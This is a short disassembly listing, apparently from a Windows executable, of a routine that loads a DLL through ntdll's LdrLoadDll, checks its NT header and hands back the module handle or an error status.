mov rax, qword [rbp + 0x198]
mov qword [rax], 0
mov rdx, qword [rbp + 0x190]
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
lea r9, [rbp + 0x78]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x24]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrLoadDll]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140054981
cmp qword [rbp + 0x78], 0
jne 0x140054986
mov eax, dword [rbp + 4]
jmp 0x1400549b8
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x1400549a8
mov eax, 0xc000007b
jmp 0x1400549b8
mov rax, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x78]
mov qword [rax], rcx
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14007fa90]
call fcn.140021d8e
mov rax, rdi
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret